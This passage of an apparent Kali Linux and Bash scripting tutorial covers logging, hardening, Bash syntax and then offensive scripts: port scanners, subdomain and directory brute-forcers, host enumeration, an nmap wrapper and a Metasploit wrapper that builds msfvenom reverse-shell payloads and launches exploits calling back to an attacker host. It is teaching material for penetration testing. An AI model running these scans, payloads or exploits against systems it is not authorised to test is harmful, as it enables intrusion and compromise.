# net.ipv4.tcp_syncookies=1
# net.ipv4.conf.all.rp_filter=1
# net.ipv4.conf.all.accept_source_route=0File System Security:
# Mount options
mount | grep -E "/(tmp|var/tmp)"
# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
# Protected directories
ls -ld /tmp
ls -ld /var/tmpProper logging is essential for both security monitoring and forensic analysis.
Log Files:
# System logs
/var/log/syslog # General system log
/var/log/auth.log # Authentication log
/var/log/kern.log # Kernel log
/var/log/dpkg.log # Package management
/var/log/apt/ # APT logs
/var/log/nginx/ # Web server logs
/var/log/mysql/ # Database logsLog Rotation:
# Logrotate configuration
cat /etc/logrotate.conf
ls /etc/logrotate.d/
# Manual rotation
logrotate -f /etc/logrotate.confReal-time Monitoring:
# Follow logs
tail -f /var/log/syslog
journalctl -f
# System monitoring
htop
iotop
nethogsLog Analysis:
# Search logs
grep -r "Failed password" /var/log/
journalctl -u ssh --since "1 hour ago"
# Log analysis tools
apt install -y lnav
lnav /var/log/
# Auditd for detailed auditing
apt install -y auditd
auditctl -w /etc/passwd -p wa -k passwd_changes
ausearch -k passwd_changesSyslog-ng Configuration:
# Install syslog-ng
apt install -y syslog-ng
# Configure client
cat >> /etc/syslog-ng/syslog-ng.conf << EOF
destination d_remote {
syslog("192.168.1.100" port(514));
};
log {
source(s_src);
destination(d_remote);
};
EOFLog Security:
# Protect logs
chmod 640 /var/log/auth.log
chmod 750 /var/log
# Log integrity
apt install -y aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --checkThe Bash shell is the primary interface for interacting with Kali Linux and automating security tasks.
Shell Types:
# Interactive shell
bash
zsh
sh
# Login vs non-login shells
# Login shell: Reads ~/.profile, ~/.bash_profile
# Non-login: Reads ~/.bashrc
# Check shell type
echo $0
shopt -q login_shell && echo "Login shell" || echo "Not login shell"Startup Files:
# System-wide configuration
/etc/profile
/etc/bash.bashrc
/etc/profile.d/*
# User-specific
~/.bash_profile
~/.bash_login
~/.profile
~/.bashrc
~/.bash_logout
# Order of execution
1. /etc/profile
2. ~/.bash_profile (or ~/.profile)
3. ~/.bashrc (if interactive)Environment Variables:
# Common variables
$HOME # User home directory
$PATH # Executable search path
$PWD # Current working directory
$USER # Current username
$SHELL # Current shell
$TERM # Terminal type
$LANG # Language settings
$PS1 # Prompt string
# View all environment variables
env
printenv
set
# Set variables
export EDITOR=vim
export PATH=$PATH:/custom/path
MYVAR="value" # Local variableShell Options:
# Set shell options
set -o option # Enable
set +o option # Disable
# Useful options
set -u # Error on undefined variables
set -e # Exit on error
set -x # Print commands before execution
set -o pipefail # Pipeline returns last error
# Check options
echo $- # Current options
set -o # List all optionsVariable Declaration:
# Simple assignment
name="John"
number=42
array=(one two three)
# Read-only variables
readonly PI=3.14159
# Variable attributes
declare -i intvar=10 # Integer
declare -r readonlyvar # Read-only
declare -l lowercase="ABC" # Auto lowercase
declare -u uppercase="abc" # Auto uppercase
declare -a arrayvar # Array
declare -A assoc_array # Associative arrayVariable Expansion:
# Basic expansion
echo $name
echo ${name}
# Default values
echo ${var:-default} # Use default if unset
echo ${var:=default} # Set default if unset
echo ${var:?error} # Error if unset
echo ${var:+value} # Use value if set
# String manipulation
str="Hello World"
echo ${#str} # Length: 11
echo ${str:6} # Substring from pos 6: World
echo ${str:6:3} # Substring length 3: Wor
echo ${str#Hello} # Remove prefix: World
echo ${str%World} # Remove suffix: Hello
echo ${str/World/There} # Replace: Hello ThereIndirect Expansion:
# Indirect variables
varname="PATH"
echo ${!varname} # Expands to $PATH
# Dynamic variable names
for i in {1..3}; do
declare var$i="value$i"
done
echo $var1 $var2 $var3Positional Parameters:
#!/bin/bash
echo "Script name: $0"
echo "First arg: $1"
echo "Second arg: $2"
echo "All args: $@"
echo "Args count: $#"
echo "All args as string: $*"
# Shift parameters
shift
echo "After shift, first arg: $1"Process Status:
$? # Exit status of last command
$$ # Current shell PID
$! # PID of last background job
$- # Current shell options
$_ # Last argument of previous commandif-then-elif-else:
#!/bin/bash
# Basic if
if [ condition ]; then
commands
fi
# if-else
if [ condition ]; then
commands
else
commands
fi
# if-elif-else
if [ condition1 ]; then
commands
elif [ condition2 ]; then
commands
else
commands
fi
# Example
if [ -f "/etc/passwd" ]; then
echo "Password file exists"
elif [ -f "/etc/master.passwd" ]; then
echo "Master password file exists"
else
echo "No password file found"
ficase Statement:
#!/bin/bash
case "$1" in
start)
echo "Starting service..."
;;
stop)
echo "Stopping service..."
;;
restart|reload)
echo "Restarting service..."
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
;;
esac
# Pattern matching
case "$filename" in
*.txt)
echo "Text file"
;;
*.jpg|*.png|*.gif)
echo "Image file"
;;
*)
echo "Unknown type"
;;
esacfor Loops:
# Traditional for
for i in 1 2 3 4 5; do
echo "Number: $i"
done
# Range
for i in {1..10}; do
echo $i
done
# Step range
for i in {0..10..2}; do
echo $i # 0,2,4,6,8,10
done
# C-style for
for ((i=0; i<10; i++)); do
echo $i
done
# Loop over files
for file in /etc/*.conf; do
echo "Processing: $file"
wc -l "$file"
done
# Loop over array
fruits=("apple" "banana" "orange")
for fruit in "${fruits[@]}"; do
echo "Fruit: $fruit"
done
# Loop with command substitution
for user in $(cut -d: -f1 /etc/passwd); do
echo "User: $user"
donewhile Loops:
# Basic while
count=1
while [ $count -le 10 ]; do
echo $count
((count++))
done
# Reading files
while IFS= read -r line; do
echo "Line: $line"
done < /etc/passwd
# Reading command output
while read -r ip; do
ping -c 1 "$ip" > /dev/null && echo "$ip is up"
done < ips.txt
# Infinite loop
while true; do
echo "Press Ctrl+C to exit"
sleep 1
done
# Until loop (opposite of while)
count=1
until [ $count -gt 10 ]; do
echo $count
((count++))
doneLoop Control:
# break - exit loop
for i in {1..10}; do
if [ $i -eq 5 ]; then
break
fi
echo $i
done
# continue - skip iteration
for i in {1..10}; do
if [ $((i % 2)) -eq 0 ]; then
continue
fi
echo $i # Only odd numbers
done
# break with label
outerloop: for i in {1..3}; do
for j in {1..3}; do
if [ $i -eq 2 -a $j -eq 2 ]; then
break outerloop
fi
echo "$i,$j"
done
doneFunction Syntax:
# Method 1
function_name() {
commands
[return value]
}
# Method 2
function function_name {
commands
[return value]
}
# Example
greet() {
echo "Hello, $1!"
return 0
}
# Call function
greet "John"Function Arguments:
#!/bin/bash
print_args() {
echo "Function name: $0"
echo "First arg: $1"
echo "All args: $@"
echo "Number of args: $#"
}
print_args arg1 arg2 arg3
# Function with optional arguments
connect() {
local host=${1:-localhost}
local port=${2:-80}
echo "Connecting to $host:$port"
}Variable Scope:
#!/bin/bash
global_var="I'm global"
myfunc() {
local local_var="I'm local"
global_var="Modified global"
echo "Inside function: $local_var"
echo "Inside function: $global_var"
}
myfunc
echo "Outside: $global_var"
echo "Outside: $local_var" # Empty (not accessible)Return Values:
#!/bin/bash
# Return status (0-255)
is_root() {
if [ $EUID -eq 0 ]; then
return 0 # Success
else
return 1 # Failure
fi
}
if is_root; then
echo "Running as root"
else
echo "Not running as root"
fi
# Return string via echo
get_user_info() {
local user=$1
local home=$(grep "^$user:" /etc/passwd | cut -d: -f6)
echo "$home"
}
user_home=$(get_user_info "john")
echo "Home directory: $user_home"Functions with Options:
#!/bin/bash
usage() {
echo "Usage: $0 [-v] [-f file] [-h]"
echo " -v Verbose mode"
echo " -f Input file"
echo " -h Show help"
}
process_file() {
local verbose=0
local file=""
while getopts "vf:h" opt; do
case $opt in
v) verbose=1 ;;
f) file="$OPTARG" ;;
h) usage; return 0 ;;
*) usage; return 1 ;;
esac
done
if [ -z "$file" ]; then
echo "Error: No file specified"
return 1
fi
if [ $verbose -eq 1 ]; then
echo "Processing $file verbosely"
fi
# Process file
cat "$file"
}
process_file -v -f /etc/passwdRecursive Functions:
#!/bin/bash
# Factorial
factorial() {
if [ $1 -le 1 ]; then
echo 1
else
local prev=$(factorial $(($1 - 1)))
echo $(($1 * prev))
fi
}
result=$(factorial 5)
echo "5! = $result"
# Directory tree traversal
list_files() {
local dir=$1
local prefix=$2
for item in "$dir"/*; do
if [ -f "$item" ]; then
echo "${prefix}File: $(basename "$item")"
elif [ -d "$item" ]; then
echo "${prefix}Dir: $(basename "$item")"
list_files "$item" "$prefix "
fi
done
}
list_files "/etc" ""Understanding Exit Codes:
# Check exit status
command
echo $? # 0 = success, 1-255 = error
# Common exit codes
0 # Success
1 # General error
2 # Misuse of shell builtins
126 # Command cannot execute
127 # Command not found
128 # Invalid exit argument
130 # Terminated by Ctrl+C
137 # Killed (kill -9)Using Exit Status:
#!/bin/bash
# Logical operators
command1 && command2 # command2 runs if command1 succeeds
command1 || command2 # command2 runs if command1 fails
# Example
ping -c 1 google.com > /dev/null && echo "Internet up" || echo "Internet down"
# Check multiple commands
if command1 && command2; then
echo "Both succeeded"
fi
if command1 || command2; then
echo "At least one succeeded"
fiset -e (Exit on Error):
#!/bin/bash
set -e # Exit on any error
echo "Starting script"
ls /nonexistent # This will cause script to exit
echo "This won't print" # Never reachedtrap for Cleanup:
#!/bin/bash
cleanup() {
echo "Cleaning up..."
rm -f /tmp/tempfile.$$
exit ${1:-0}
}
# Trap signals
trap cleanup EXIT # Run on script exit
trap cleanup INT # Run on Ctrl+C
trap cleanup TERM # Run on termination
trap 'echo "Interrupted"; exit 1' INT
# Create temp file
echo "Working..." > /tmp/tempfile.$$
# Simulate work
sleep 30Custom Error Handler:
#!/bin/bash
error_exit() {
echo "Error: $1" >&2
exit 1
}
# Use
file="/nonexistent"
[ -f "$file" ] || error_exit "File $file not found"
# With line number
error_exit() {
echo "Error (line $2): $1" >&2
exit 1
}
[ -f "$file" ] || error_exit "File not found" $LINENODebugging Options:
#!/bin/bash
set -x # Print commands and arguments
set -v # Print shell input lines
set -n # Check syntax without executing
# Enable selectively
set -x # Start debugging
# commands to debug
set +x # Stop debugging
# Debug function
debug() {
echo "DEBUG: $*" >&2
}
debug "Processing file: $file"Bash Debugger:
# Install bashdb
apt install -y bashdb
# Run script with debugger
bashdb script.sh
# Debugger commands
n # Next line
s # Step into
c # Continue
p # Print variable
q # QuitBasic Port Scanner:
#!/bin/bash
# Simple port scanner
scan_ports() {
local host=$1
local start_port=${2:-1}
local end_port=${3:-1024}
echo "Scanning $host from port $start_port to $end_port"
for port in $(seq $start_port $end_port); do
(echo >/dev/tcp/$host/$port) >/dev/null 2>&1 && \
echo "Port $port is open"
done
}
scan_ports scanme.nmap.org 1 1000Enhanced Scanner with Timeout:
#!/bin/bash
scan_ports() {
local host=$1
local start=$2
local end=$3
local timeout=${4:-1}
echo "Scanning $host ($start-$end) with timeout ${timeout}s"
for port in $(seq $start $end); do
timeout $timeout bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
echo "Port $port is open"
done
}
# Scan common ports
scan_ports scanme.nmap.org 1 1000Parallel Scanning:
#!/bin/bash
parallel_scan() {
local host=$1
local ports=$2
local max_procs=${3:-10}
echo "Parallel scanning $host"
scan_port() {
local port=$1
timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
echo "Port $port is open"
}
for port in $ports; do
scan_port $port &
# Limit concurrent processes
while [ $(jobs -r | wc -l) -ge $max_procs ]; do
sleep 0.1
done
done
wait # Wait for all background jobs
}
parallel_scan "scanme.nmap.org" "$(seq 1 1000)" 20Subdomain Enumeration:
#!/bin/bash
enum_subdomains() {
local domain=$1
local wordlist=${2:-/usr/share/wordlists/subdomains.txt}
if [ ! -f "$wordlist" ]; then
echo "Wordlist not found: $wordlist"
return 1
fi
while read -r subdomain; do
host="$subdomain.$domain"
if host "$host" >/dev/null 2>&1; then
echo "Found: $host"
fi
done < "$wordlist"
}
# Create simple wordlist
cat > /tmp/subs.txt << EOF
www
mail
ftp
admin
blog
dev
test
staging
api
EOF
enum_subdomains example.com /tmp/subs.txtDNS Bruteforce with Validation:
#!/bin/bash
dns_bruteforce() {
local domain=$1
local wordlist=$2
local resolver=${3:-8.8.8.8}
while read -r sub; do
# Use dig for DNS resolution
result=$(dig @$resolver "$sub.$domain" +short)
if [ -n "$result" ]; then
echo "$sub.$domain -> $result"
fi
done < "$wordlist"
}
# Use with progress indicator
dns_bruteforce_progress() {
local domain=$1
local wordlist=$2
local total=$(wc -l < "$wordlist")
local count=0
while read -r sub; do
((count++))
echo -ne "Progress: $count/$total\r" >&2
if host "$sub.$domain" >/dev/null 2>&1; then
echo "$sub.$domain"
fi
done < "$wordlist"
echo >&2 # Newline after progress
}HTTP Header Grabber:
#!/bin/bash
get_headers() {
local url=$1
curl -s -I -L "$url" || wget -S --spider "$url" 2>&1
}
analyze_headers() {
local url=$1
local headers=$(get_headers "$url")
echo "=== Headers for $url ==="
echo "$headers"
echo
# Check security headers
echo "Security Header Analysis:"
echo "$headers" | grep -i "server:" && echo " ✓ Server header found"
echo "$headers" | grep -i "x-powered-by:" && echo " ⚠ X-Powered-By exposed"
echo "$headers" | grep -i "x-frame-options:" || echo " ⚠ Missing X-Frame-Options"
echo "$headers" | grep -i "x-content-type-options:" || echo " ⚠ Missing X-Content-Type-Options"
echo "$headers" | grep -i "content-security-policy:" || echo " ⚠ Missing CSP"
}
analyze_headers "https://example.com"Directory Bruteforcer:
#!/bin/bash
dir_bruteforce() {
local url=$1
local wordlist=$2
local ext=${3:-""}
local threads=${4:-10}
# Ensure URL ends with /
[[ "$url" != */ ]] && url="$url/"
scan_dir() {
local dir=$1
local full_url="${url}${dir}${ext}"
local status=$(curl -s -o /dev/null -w "%{http_code}" "$full_url")
case $status in
200) echo "[200] FOUND: $full_url" ;;
301|302) echo "[$status] REDIRECT: $full_url" ;;
403) echo "[403] FORBIDDEN: $full_url" ;;
401) echo "[401] AUTH REQUIRED: $full_url" ;;
esac
}
export -f scan_dir
export url ext
cat "$wordlist" | xargs -P $threads -I {} bash -c 'scan_dir "$@"' _ {}
}
# Usage
dir_bruteforce "http://example.com" /usr/share/wordlists/dirb/common.txt
dir_bruteforce "http://example.com" /usr/share/wordlists/dirb/common.txt ".php"Linux Enumeration Script:
#!/bin/bash
# Linux system enumeration script
echo "=== System Enumeration Report ==="
echo "Date: $(date)"
echo "Hostname: $(hostname)"
echo
# System info
echo "=== System Information ==="
uname -a
echo "Kernel: $(uname -r)"
echo "Architecture: $(uname -m)"
echo "OS: $(cat /etc/os-release | head -1)"
echo
# User info
echo "=== User Information ==="
echo "Current user: $(whoami)"
echo "UID/GID: $(id)"
echo "Logged in users:"
who
echo
echo "=== User Accounts ==="
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1,3,7
echo
echo "=== Sudo Access ==="
sudo -l 2>/dev/null || echo "No sudo access"
echo
# Network info
echo "=== Network Information ==="
echo "IP Addresses:"
ip addr show | grep -E "inet " | awk '{print $2}'
echo
echo "Open Ports:"
netstat -tulpn 2>/dev/null | grep LISTEN
echo
echo "Routing Table:"
route -n
echo
echo "DNS Servers:"
cat /etc/resolv.conf | grep nameserver
echo
# Process info
echo "=== Running Processes ==="
ps auxf --forest | head -20
echo "... (truncated)"
echo
# File system
echo "=== File System Information ==="
echo "Mounts:"
mount | column -t
echo
echo "SUID/SGID Files:"
find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -20
echo "... (truncated)"
echo
echo "World-writable files:"
find / -type f -perm -0002 -ls 2>/dev/null | head -10
echo
# Installed software
echo "=== Installed Software ==="
echo "Package count: $(dpkg -l | wc -l)"
echo "Top packages by size:"
dpkg-query -W --showformat='${Installed-Size}\t${Package}\n' | sort -rn | head -10
echo
# Cron jobs
echo "=== Cron Jobs ==="
echo "User crontabs:"
ls -la /var/spool/cron/crontabs/ 2>/dev/null || echo "None found"
echo
echo "System crontabs:"
ls -la /etc/cron* 2>/dev/null
echo
# Security checks
echo "=== Security Checks ==="
echo "Password aging info:"
chage -l $(whoami) 2>/dev/null || echo "Not available"
echo
echo "SSH configuration:"
grep -E "PermitRootLogin|PasswordAuthentication" /etc/ssh/sshd_config 2>/dev/null
echo
echo "Firewall status:"
if command -v ufw >/dev/null; then
ufw status
elif command -v iptables >/dev/null; then
iptables -L -n | head -10
fi
echo
echo "=== Enumeration Complete ==="Windows Enumeration Script (Bash for WSL):
#!/bin/bash
# Windows enumeration script for WSL
echo "=== Windows System Enumeration ==="
echo "Date: $(date)"
echo
# System info
echo "=== System Information ==="
cmd.exe /c systeminfo | grep -E "OS Name|OS Version|System Type|Total Physical Memory"
echo
# User info
echo "=== User Information ==="
cmd.exe /c whoami
echo
echo "Local Users:"
cmd.exe /c net user
echo
echo "Local Groups:"
cmd.exe /c net localgroup
echo
echo "Administrators:"
cmd.exe /c net localgroup Administrators
echo
# Network info
echo "=== Network Information ==="
echo "IP Configuration:"
cmd.exe /c ipconfig /all | grep -E "IPv4|Subnet Mask|Default Gateway"
echo
echo "Active Connections:"
cmd.exe /c netstat -ano | grep ESTABLISHED | head -10
echo
# Process info
echo "=== Running Processes ==="
cmd.exe /c tasklist | head -20
echo "... (truncated)"
echo
# Installed software
echo "=== Installed Software ==="
cmd.exe /c wmic product get name,version | head -20
echo "... (truncated)"
echo
# Security
echo "=== Security Settings ==="
echo "Firewall Status:"
cmd.exe /c netsh advfirewall show allprofiles | grep State
echo
echo "Windows Defender:"
cmd.exe /c powershell -Command "Get-MpComputerStatus" | grep -E "RealTimeProtectionEnabled|AntivirusEnabled"
echoComprehensive Network Scanner:
#!/bin/bash
# Network enumeration script
# Configuration
TIMEOUT=1
THREADS=20
OUTPUT_DIR="scan_results_$(date +%Y%m%d_%H%M%S)"
# Create output directory
mkdir -p "$OUTPUT_DIR"
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$OUTPUT_DIR/scan.log"
}
# Network discovery
discover_hosts() {
local network=$1
local output="$OUTPUT_DIR/hosts.txt"
log "Discovering hosts in $network"
# Convert CIDR to IP range
local base=$(echo $network | cut -d/ -f1)
local mask=$(echo $network | cut -d/ -f2)
# Simple /24 handling
if [ "$mask" = "24" ]; then
local subnet=$(echo $base | cut -d. -f1-3)
for i in {1..254}; do
(
if ping -c 1 -W $TIMEOUT "$subnet.$i" >/dev/null 2>&1; then
echo "$subnet.$i" >> "$output"
log "Found host: $subnet.$i"
fi
) &
# Limit threads
while [ $(jobs -r | wc -l) -ge $THREADS ]; do
sleep 0.1
done
done
wait
fi
log "Discovered $(wc -l < "$output") hosts"
}
# Port scanning
scan_ports() {
local host=$1
local output="$OUTPUT_DIR/${host}_ports.txt"
log "Scanning ports on $host"
# Common ports
local ports="21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080"
IFS=',' read -ra PORT_ARRAY <<< "$ports"
for port in "${PORT_ARRAY[@]}"; do
(
if timeout $TIMEOUT bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null; then
echo "$port" >> "$output"
log " Port $port open on $host"
# Grab banner
banner=$(timeout 2 bash -c "echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc $host $port" 2>/dev/null | head -1)
if [ -n "$banner" ]; then
echo " Banner: $banner" >> "${output%.txt}_banners.txt"
fi
fi
) &
# Limit threads
while [ $(jobs -r | wc -l) -ge $THREADS ]; do
sleep 0.1
done
done
wait
}
# Service detection
detect_services() {
local host=$1
local port=$2
local output="$OUTPUT_DIR/${host}_services.txt"
case $port in
21)
echo "FTP" >> "$output"
timeout 2 ftp -n "$host" << EOF 2>/dev/null | grep "220" >> "${output%.txt}_details.txt"
quit
EOF
;;
22)
echo "SSH" >> "$output"
timeout 2 nc "$host" 22 <<< "SSH-2.0-test" 2>/dev/null >> "${output%.txt}_details.txt"
;;
80|443|8080)
echo "HTTP/HTTPS" >> "$output"
if [ $port -eq 443 ] || [ $port -eq 8443 ]; then
proto="https"
else
proto="http"
fi
curl -s -I "${proto}://$host:$port" 2>/dev/null | head -10 >> "${output%.txt}_http_headers.txt"
;;
3306)
echo "MySQL" >> "$output"
;;
3389)
echo "RDP" >> "$output"
;;
esac
}
# OS fingerprinting
fingerprint_os() {
local host=$1
local output="$OUTPUT_DIR/${host}_os.txt"
log "Fingerprinting OS for $host"
# TTL based detection
ttl=$(ping -c 1 -W $TIMEOUT "$host" 2>/dev/null | grep "ttl=" | sed 's/.*ttl=//' | cut -d' ' -f1)
if [ -n "$ttl" ]; then
if [ $ttl -le 64 ]; then
echo "Likely Linux/Unix (TTL: $ttl)" >> "$output"
elif [ $ttl -le 128 ]; then
echo "Likely Windows (TTL: $ttl)" >> "$output"
elif [ $ttl -le 255 ]; then
echo "Likely Cisco/Network device (TTL: $ttl)" >> "$output"
else
echo "Unknown OS (TTL: $ttl)" >> "$output"
fi
fi
# Additional fingerprinting via nmap if available
if command -v nmap >/dev/null; then
nmap -O -T4 -Pn --osscan-guess "$host" 2>/dev/null | grep "OS details" >> "$output"
fi
}
# Main execution
main() {
local network=${1:-"192.168.1.0/24"}
log "Starting network enumeration on $network"
discover_hosts "$network"
if [ -f "$OUTPUT_DIR/hosts.txt" ]; then
while read -r host; do
scan_ports "$host"
if [ -f "$OUTPUT_DIR/${host}_ports.txt" ]; then
while read -r port; do
detect_services "$host" "$port"
done < "$OUTPUT_DIR/${host}_ports.txt"
fi
fingerprint_os "$host"
done < "$OUTPUT_DIR/hosts.txt"
fi
log "Enumeration complete. Results in $OUTPUT_DIR"
# Generate summary
echo
echo "=== SCAN SUMMARY ==="
echo "Hosts found: $(wc -l < "$OUTPUT_DIR/hosts.txt")"
echo "Open ports total: $(cat "$OUTPUT_DIR"/*_ports.txt 2>/dev/null | wc -l)"
echo
echo "Detailed results in: $OUTPUT_DIR"
}
# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
main "$@"
fiAdvanced Nmap Wrapper:
#!/bin/bash
# Nmap wrapper with advanced features
# Configuration
SCAN_DIR="$HOME/nmap_scans"
DEFAULT_PROFILE="quick"
# Create scan directory
mkdir -p "$SCAN_DIR"
usage() {
cat << EOF
Usage: $0 [options] <target>
Options:
-p <profile> Scan profile (quick|full|vuln|udp|all)
-o <name> Output name (default: timestamp)
-v Verbose output
-h Show this help
Profiles:
quick: Common ports quick scan
full: Full port scan with service detection
vuln: Vulnerability scan
udp: UDP scan
all: All scan types
EOF
exit 1
}
# Scan profiles
run_quick_scan() {
local target=$1
local output=$2
log "Running quick scan on $target"
nmap -T4 -F -sV -oA "$output" "$target"
}
run_full_scan() {
local target=$1
local output=$2
log "Running full scan on $target"
nmap -T4 -p- -sC -sV -O -oA "$output" "$target"
}
run_vuln_scan() {
local target=$1
local output=$2
log "Running vulnerability scan on $target"
nmap -T4 -sV --script vuln -oA "$output" "$target"
}
run_udp_scan() {
local target=$1
local output=$2
log "Running UDP scan on $target (this may take a while)"
nmap -T4 -sU --top-ports 100 -oA "$output" "$target"
}
# Logging function
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*"
}
# Generate report
generate_report() {
local output_base=$1
local report_file="${output_base}_report.html"
log "Generating HTML report: $report_file"
cat > "$report_file" << EOF
<!DOCTYPE html>
<html>
<head>
<title>Nmap Scan Report</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
h1 { color: #333; }
h2 { color: #666; margin-top: 30px; }
pre { background: #f5f5f5; padding: 10px; border-radius: 5px; }
.timestamp { color: #999; font-size: 0.9em; }
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<p class="timestamp">Generated: $(date)</p>
<p class="timestamp">Target: $target</p>
<h2>Scan Results</h2>
<pre>$(cat "${output_base}.nmap" 2>/dev/null)</pre>
<h2>Open Ports Summary</h2>
<pre>$(grep -E "^[0-9]+/tcp" "${output_base}.nmap" 2>/dev/null | sort)</pre>
<h2>Service Versions</h2>
<pre>$(grep -E "Service Info|OS details" "${output_base}.nmap" 2>/dev/null)</pre>
</body>
</html>
EOF
log "Report generated: $report_file"
}
# Main execution
main() {
local profile="$DEFAULT_PROFILE"
local output_name=""
local verbose=0
local target=""
# Parse options
while getopts "p:o:vh" opt; do
case $opt in
p) profile="$OPTARG" ;;
o) output_name="$OPTARG" ;;
v) verbose=1 ;;
h) usage ;;
*) usage ;;
esac
done
shift $((OPTIND-1))
target="$1"
if [ -z "$target" ]; then
echo "Error: Target required"
usage
fi
# Set output name
if [ -z "$output_name" ]; then
output_name="${target}_${profile}_$(date +%Y%m%d_%H%M%S)"
fi
output_base="$SCAN_DIR/$output_name"
log "Starting scan with profile: $profile"
log "Output base: $output_base"
# Run selected profile
case "$profile" in
quick)
run_quick_scan "$target" "$output_base"
;;
full)
run_full_scan "$target" "$output_base"
;;
vuln)
run_vuln_scan "$target" "$output_base"
;;
udp)
run_udp_scan "$target" "$output_base"
;;
all)
run_quick_scan "$target" "${output_base}_quick"
run_full_scan "$target" "${output_base}_full"
run_vuln_scan "$target" "${output_base}_vuln"
run_udp_scan "$target" "${output_base}_udp"
;;
*)
echo "Error: Unknown profile '$profile'"
usage
;;
esac
# Generate report
generate_report "$output_base"
log "Scan complete"
# Open report if GUI available
if [ -n "$DISPLAY" ] && command -v xdg-open >/dev/null; then
xdg-open "${output_base}_report.html"
fi
}
# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
main "$@"
fiMetasploit Automation Script:
#!/bin/bash
# Metasploit wrapper for automated tasks
MSF_DIR="$HOME/msf_workspace"
mkdir -p "$MSF_DIR"
usage() {
cat << EOF
Usage: $0 <command> [options]
Commands:
init Initialize workspace
scan <target> Run automated scan
exploit <target> <port> <exploit>
shell <target> Get reverse shell
list List exploits
EOF
exit 1
}
# Initialize workspace
init_workspace() {
local workspace="workspace_$(date +%Y%m%d)"
cat > "$MSF_DIR/init.rc" << EOF
workspace -a $workspace
workspace $workspace
db_status
exit
EOF
msfconsole -q -r "$MSF_DIR/init.rc"
echo "Workspace initialized: $workspace"
}
# Automated scan
auto_scan() {
local target=$1
local rcfile="$MSF_DIR/scan_${target}.rc"
cat > "$rcfile" << EOF
workspace -a scan_${target}
workspace scan_${target}
db_nmap -sV -O $target
hosts
services
vulns
exit
EOF
msfconsole -q -r "$rcfile"
}
# Generate reverse shell payload
gen_shell() {
local lhost=$1
local lport=$2
local type=${3:-linux}
case "$type" in
linux)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf -o "$MSF_DIR/shell.elf"
;;
windows)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe -o "$MSF_DIR/shell.exe"
;;
php)
msfvenom -p php/reverse_php LHOST=$lhost LPORT=$lport -o "$MSF_DIR/shell.php"
;;
python)
msfvenom -p python/shell_reverse_tcp LHOST=$lhost LPORT=$lport -o "$MSF_DIR/shell.py"
;;
esac
echo "Payload generated: $MSF_DIR/shell.$type"
}
# Run exploit
run_exploit() {
local target=$1
local port=$2
local exploit=$3
local rcfile="$MSF_DIR/exploit_${target}.rc"
cat > "$rcfile" << EOF
use $exploit
set RHOSTS $target
set RPORT $port
set PAYLOAD generic/shell_reverse_tcp
set LHOST $(ip route get 1 | awk '{print $NF;exit}')
set LPORT 4444
run
exit
EOF
msfconsole -q -r "$rcfile"
}
# List exploits
list_exploits() {
local search=$1
if [ -n "$search" ]; then
msfconsole -q -x "search $search; exit"
else
msfconsole -q -x "show exploits; exit" | head -50
fi
}
# Main
case "$1" in
init)
init_workspace
;;
scan)
[ -z "$2" ] && echo "Target required" && exit 1
auto_scan "$2"
;;
shell)
[ -z "$2" ] && echo "LHOST required" && exit 1
[ -z "$3" ] && echo "LPORT required" && exit 1
gen_shell "$2" "$3" "$4"
;;
exploit)
[ -z "$2" ] && echo "Target required" && exit 1
[ -z "$3" ] && echo "Port required" && exit 1
[ -z "$4" ] && echo "Exploit required" && exit 1
run_exploit "$2" "$3" "$4"
;;
list)
list_exploits "$2"
;;
*)
usage
;;
esacComplete Recon Framework:
#!/bin/bash
# Comprehensive reconnaissance automation framework
# Configuration
WORKSPACE="$HOME/recon_workspace"
THREADS=20
TIMEOUT=5
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Create workspace
setup_workspace() {
local target=$1
local dir="$WORKSPACE/$target/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$dir"/{osint,scanning,web,exploitation,loot}
echo "$dir"
}
# Logging
log() {
echo -e "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$workspace/recon.log"
}
info() {
echo -e "${BLUE}[INFO]${NC} $*" | tee -a "$workspace/recon.log"
}
success() {
echo -e "${GREEN}[SUCCESS]${NC} $*" | tee -a "$workspace/recon.log"
}
warn() {
echo -e "${YELLOW}[WARN]${NC} $*" | tee -a "$workspace/recon.log"
}
error() {
echo -e "${RED}[ERROR]${NC} $*" | tee -a "$workspace/recon.log"
}
# OSINT Phase
phase_osint() {
local domain=$1
local outdir="$workspace/osint"
info "Starting OSINT phase for $domain"
# WHOIS lookup
log "Performing WHOIS lookup..."
whois "$domain" > "$outdir/whois.txt" 2>&1
# DNS enumeration
log "DNS enumeration..."
{
dig "$domain" ANY +noall +answer > "$outdir/dns_any.txt"
dig "$domain" NS +short > "$outdir/ns_servers.txt"
dig "$domain" MX +short > "$outdir/mx_records.txt"
dig "$domain" TXT +short > "$outdir/txt_records.txt"
} 2>/dev/null
# Subdomain discovery
log "Subdomain discovery..."
# Using common tools if available
if command -v sublist3r >/dev/null; then
sublist3r -d "$domain" -o "$outdir/subdomains_sublist3r.txt" >/dev/null 2>&1
fi
if command -v amass >/dev/null; then
amass enum -d "$domain" -o "$outdir/subdomains_amass.txt" >/dev/null 2>&1
fi
# Brute force with common wordlist
if [ -f /usr/share/wordlists/dirb/common.txt ]; then
while read -r sub; do
